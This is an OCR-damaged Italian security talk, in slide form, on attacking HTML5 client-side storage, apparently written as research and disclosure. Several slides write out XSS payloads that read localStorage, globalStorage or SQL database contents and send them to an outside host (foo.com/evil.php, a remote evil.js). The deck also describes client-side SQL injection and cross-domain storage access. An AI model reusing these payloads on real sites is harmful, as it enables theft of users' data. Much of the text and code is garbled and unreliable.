ient-side Storage

Vlyth::the client’s machine
IS a safe place to store data



Client-side storage fino ad ora

e Limiti nello storage;:nellinteroperabilita:e:strutturall
userData (InternetExplorer:5:5+)

Local Shared:@Object(cross=browser: +:Adobe Flash
Player 6+ plugin)

Google Gears (Firefox: & IE+plugin)

Dojo:Storage € Pojo-SQL (cross-browser + un po’ di
roba)

HT TP -cookies (veramente cross-browser)



Due parole su HIML 5

e Sviluppo iniziato:-nel:2004:datWeb  FHypertext:Application
Technology:Working:Group:(WAARWG):con:l-aluto - del
HTMLE Working:Group:aelW3E:dal:2007

o PubblicazioneaellaiHrSstrunlc:Working:-Draft:l-22
gennaio 20038

o |Vlolte le novita:introdotie per-adeguarsi alla web 2.0
mania;:alcune:delle‘quali-gia implementante da tempo in
diverslbrowser:(p.es. <canvas> )

e Stato diW3C Candidate Recommendation nel 2012...


http://en.wikipedia.org/wiki/Web_Hypertext_Application_Technology_Working_Group
http://en.wikipedia.org/wiki/Web_Hypertext_Application_Technology_Working_Group
http://en.wikipedia.org/wiki/Web_Hypertext_Application_Technology_Working_Group
http://en.wikipedia.org/wiki/Web_Hypertext_Application_Technology_Working_Group

HITML 5 client-side storage

e Forse la novita:piuimnteressante:adaklato:sictirezza
e S| concretizzaiin:d:diverseitipologie:-ai:storage:
SESSIon:Storage
Local:Storage (ex:Global:storage)
Database Storage

o N Firefox e:Internet Explorer prende I home (improprio)
di DONI Storage



Implementazione nei browser

e Gecko 1.9 (Firefox:3.0)
Session storage-e:GlobalStorage
e \WebKit r3dxxx:(Safari4)
Session:storage;Eocal:storage:e:Patabase Storage
o [rident Vi (Internet:Explorer-8:Beta 1)
Session:storage e Global Storage
e Presto (Opera 9.50)
Nada...!



E Il mio browser cosa
supporta?

» Var StorSupp = i
for (var 1 in window)
{ 1f(x == 'sessionStorage:)
{ storSupp t=iiSession Storage ; }
else if(1i==+rglobalStorage’)
{ storsupp:;t=iiGlobaliStorage “; }
elseif(ri==7"localStorage’)
{ storsupp +=:Local Storage "; }
else 1f (1 ==/ "openbatabase"”)
{ storSupp += "Database Storage "; } }

document.write(storSupp);



Session Storage

e Simile ai cookies HITR:ma pit-efficientein:diversi-casi

e |mmagazzina: stringhe:associandole univocamente al
dominio (Locationshostname) e:allafinestra (o tab)

corrent
o Persistesino:alla:chiusura:della-finestra o del tab

o Non:visono:precisilimitEali storage (p.es. 5 MB In
Firefox 2-€:10:-MB:in:|ES)

e ESEMpPIO: sessionStorage.foo = “bar”;



Local Storage (Global Storage)

)

Mentre global storage e-associabile:ad:-un:gualsiasi
dominio (TLED-compreso);local:storage Viene:in
automaticoassociato-al-doninio:corrente

)

Come il session:storage:-anch-esskimmagazzinano
stringhe:ma:sono:-accessibili:da:qualsiasi-finestra (o tab)

)

Persistono:sinoalleliminazione:da: parte aella web app

9

EsempliilocalStorage.foobar = 13;
globalStorage[ example.com'].foo = "bar";

/Users/XXX/Library/Application Support/
Firefox/Profiles/XXX/webappsstore.sqglite

.



Database Storage

e Rende possibile Futilizzo diEtn:\eroe: proprio-database
SQL (di solito:SQLite) lato:client:perilo:storage: persistente
di dati strutturati-(@nche centinaa:arMB)

e Accesso limitato:al:solosaominio-aEoOrgINe

o Esemplioidbii=iopenDatabase (:*dbTest”, "1.0",
"First: Database ;300000);

db.transaction(function (tx)
{ tx.executeSqgl("“CREATE TABLE MyTb (id

REAL) “)5 1)

e Datl'in: /Users/XXX/Library/Safari/Databases



Some boring (in)security

e Solo Session Storage
SE un utente naviga su:-una:sola

finestrai(o:tab); e

possIbile rectuperarei-dat:drmoltostempo:addietro

e Solo Global Storage

_a possibilitatdiEsettare idominio:perla:condivisione
DUO portare ad:tina conaivisioneindesiderata di dati

e Global Storage e Local Storage

Non:e:possipile:configurare-una

scadenza automatica

Nessun-controllo-dell‘integrita dei dati: salvati in db

SQLite (files), faciimente accessi
In Firefox 3 non € stato impleme

olll e manipolablli

Ntato clear ()



C’e qualcosa di strano...

e sessionStorage.foo =i false;
1f (sessionStorage.foo) {ralert(vero); }
else { alerti(‘falsot)ii:}

e Cosa visualizzalo:serptZivero:: Su:tuttii-browser! 27

e typeof(sessionStorageifoo) fitorna string su
WebKit e object suGecko, marboolean!

o Per ottenere falso;:come ci-si-aspetterebbe, si puo usare
sessionsStorage.foo = ‘’: ma vale solo su \WebKit

e Su Gecko 'sembra impossibile ottenere falso, anche con
toString



Abusing Client-side Storage

e Se la web application:evulnerabileiad:attacencome
XSS, € possibile:ttilizzaretin:payioad:che permetta di
leggere/modificare:iEcontenuto:di:gualsiasivariabile di
storage lato:client(session;local:globale database)

o Sela web-app-carca:datio:codice dallo storage locale
posso:iniettare:del:ecaadice in-modo:che venga eseguito
poltuttelevolte:cheiil dato infettato viene richiesto

o SU IE8S poSsso: atiivare/disattivare la proprieta secure
(non-definita dalle specitiche di HTML 5)



Abusing Client-side Storage

e [uttli I metodi di-attacco:client=siae:sin-ora:studiatl
ricevono: NUove possibilita:dazione (altro-che:cookIES
stealing, e non:c:e HEFROAche regga)

e Aumentano:Emodiperitraceliare:le:preterenze ar-un

utente (v

o Con data
SUpPErior]

SPY-COOKIES)

pase e glopal/local storage possiol

perwelworm:-ai-aiffondersi (jpers

ita molto

istent XSS):

N futuro-moltEMB diEdatilocali: armilioni di uf

‘entl a rischio

e Quandoun PG viene compromesso, guardare tra lo
storage locale puo essere molto interessante



Abusing Client-side Storage

® “Imagine a personakiinance:Site:Storng:y/otl: Stock
portrolio-anad:-historical:prees:tocally ot favorite
plogging-toormignt:already-tseslocalstorage:1o
automatically:save:arafts:oryourplog-posts; [...] a
personalized:nomepage - might:store-yotir-selected
widgets-ana:their-contentiocally, ... web applications
suchr-as:Google:Calenaarmight:store your appointments
locally;- [ :Fyour-webmail:will-be-downloaded locally |[...].
['m excited:-to:see-more-applications start to use client-
side storage’; Niall- Kennhedy, web technologist



Abusing Clie

e Oratoccaame:.

nt-side Storage

Immagina ehe:chitngue:possa:acecedere:da:internet al
tuo portafoglio:elettronico:scoprenao:cuali-azion

possiedi-e-magarmods

icandole; allelbozze (pubbliche ©

private)-adeltuo:plog;altuorwidgets e alle informazion

che esskportano;allatuaragenda -di-appuntamenti, alle

tUe mail:senza:bisogno

E magariimmagina:anc

AI:COOKIES O passowords...

ora che esista uno script in grado

di-fare tutto:guesto - automaticamente in una botta sola

Gia, proprio eccitante! :

P



Enumerazione degli
Storage object

e Nel caso volessimo:acquisires:cdatEcontenuti:in
sessionStorage; globalStorage € localStorage,

esistono dueVIE: per:secoptireinomizdEchiavi-non-note:

var Ssi= 3

for (L Iniwindow.sessionsStorage)
{ SS += i + A A ; }

var lsi=rres

Fortrsssismmsreslocalstoragelength; 1++)

{ 1s += localStorage.key (1) + &)



Enumerazione del
Database object

e " [here IS ho way to-entmerate:or-aelete-the-aatabases
available for:a domain:from:this-AREHEMES Working Draft

e Nel caso in-cuivolessimosacquisire:Faati:contenuti in un
Database:onj/ect:non-coneseendone peroil-nome, si deve
usare gualche:escamotage peririsalire ad esso:

var dbi= .

for (i In‘‘window)

{ 1f(window[1] == *[object Database]”)
BT H ol s s e



Extracting database metadata

e Ogni database SQLiteha:tina:tabella:sglite:master
contenente I’'elenco:delletalbellie del:datanase:
SELECT ‘name FROMIsgliteimaster WHERE
type="table:

b

Per ottenereilielencordelle-colonne:(al-momento della
creazione:o-anche-aggiunte in:sequito) di-una tabella:
SELECT sgl:FROMisqglite master WHERE
name=:nometabella:

o WebKit-attualmente usa SQLite versione 3.4.0 (la 3.5.9
e ['ultima disponibile): SELECT sqglite version()



One shot attack

e Quello che rende scomodigliattacechiclient=side e:la
difficolta di interagire costantementese:in-gualsiaskmomento
con 1l bersaglio

e Se un’applicazione:-ha:unafalla:aicross=site: serpting posso
usarla perprendere:deraati:mirati;

http://examplescom/page-php2name=<script>
documentiwrite ((i<imgisrc="https//foo.com/evil.php?
name=".%2BglobalStoragel‘location.hostname’].
chiave $2B >y </script>
http://examplei.com/page.php?name=<script>
db.transaction(function (tx) { tx.executeSqgl
("SELECT * FROM: tabella client"”, [], function(tx,
result) { document.write('<img src="http://
foo.com/evil.php?name="' %2B result.rows.item(0)

[ 'dato'] %2B '">"'"); }); }):</script>
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Attack automation:

HT

ML5CSdump

e Nel caso non si-abbia-alcuna:conoscenza delnomi-delle
chiavi negli-Storage:-objects:o-delletapelienel:datalbase,
DOSSO Creare uno:scriptdavascript:che:automatizzi

Intero: processo

dizacgulisizione:ael:dati:lato-client:

http://exampleicom/page-php2name=<script
src=https//fooscom/evilijs></script>

e evil.js utilizze
estrazione descri

rale-tecniche dizenumerazione e di
teprma-per-acquisire TUTTO lo storage

lato client diEETEMLES memorizzato sul PC della vittima dal
browser: e relativo-al- dominio dell’applicazione vulnerabile

e http://trivero.secdiscover.com/csdump. js
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Cross-directory attacks

e Per le tre metodologie di:storage:lato-client drTEMES
non esiste un‘equivalente:dekparametro-Path dercookies

e (io significa:cheruna-fallaxXss&eHntuna:-gualungue
pagina dirun:sito,;puc:portare:alla:cattura o modifica dei
datl-chell:sitoha memorizzato-sul:RPC dell’utente
attacecato

¢ Risulta-quindiassolutamente sconsigliato I'utilizzo ai
gueste metodologie di-storage per chi usa siti quali
geocities.com, myspace.com, livejournal.com, etc.



Cross-domain & cross-port

attacks

e Un attacco cross-domain:e-fattioile:solo:controsil-global
storage di Eirefox:2::Sele restrzioniperzaomini-sono
blande; un-supndonmain:puoc-acceaere-ai-dati-di-un altro:
foo.altervista.org:-puoraccedere stroar.altervista.org a
globalStorage[#altervista.org’ ]J.s1lly

e Non-potendo
stesso nost g
(O gualsiasi-alt

mettere restriziontsulle porte, se sullo
rano-due Webh server su due porte diverse

O-HPOdI'SevizIo XsSSable), ciascuno puo

accedere allo-storage locale dell’altro



Client-side SQL injection

e Gli attacchi di SQL injection; da:sempre:considerati-un
problema server-side; ora-lo:diventancanche:client-side

e || problema: si:presentaguando:iparametrEdelle guery SQL
NON: SONO-passatiatiraverso:l-simbolo:2:ma:direttamente:
executeSqgl (HSELECT name FROM ‘stud WHERE
1d=" "+ testo):

Invece dizexecuteSqgli(*SELECT ‘name FROM stud
WHERE “1d=2"",[input - id]);

o Sfruttabilita-dell’attacco variabile

e Con WebKit, non tuttl i comandi SQL che SQLite supporta
sono permessi: p.es. PRAGMA e ATTACH
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Conclusioni

e | e prime bozze di HEMLE S introdicono:una:tunzionalita: di
storage lato client:molte:interessante - ma:anche rischiosa

o Attualmente tutlimaggiorprowser:skstanno-affrettando
DEr supportare:-gueste e altre-speciiiche

e | a reale portata:derrisenilegatia-guestatecnologia sara
visibile:solo:gquandoiverra:adottata: su-larga scala (ora
COME Ora-e guaskinesistente ma subira sicuramente una
crescita:esponenzialenerprossimi-mesi)

e \White paper pubblico - in-inglese entro qualche settimana

o Relax: underground is dead, but research is not



Links utili

Trovate queste slide all’indirizzo:

o WWW.WHalWgiorg/sSpecs/ web-apps/current-work/
multipage/structured:html

e developer.mozilla:org/en/docs/BONM:Storage
e msdn:microsoft:com/en-us/liorary/cc197062(VS.85).aspx

o Ajax Securty: wWww.amazon.com/Ajax-Security-Billy-
Hoffman/dp/0321491939/



Domande?




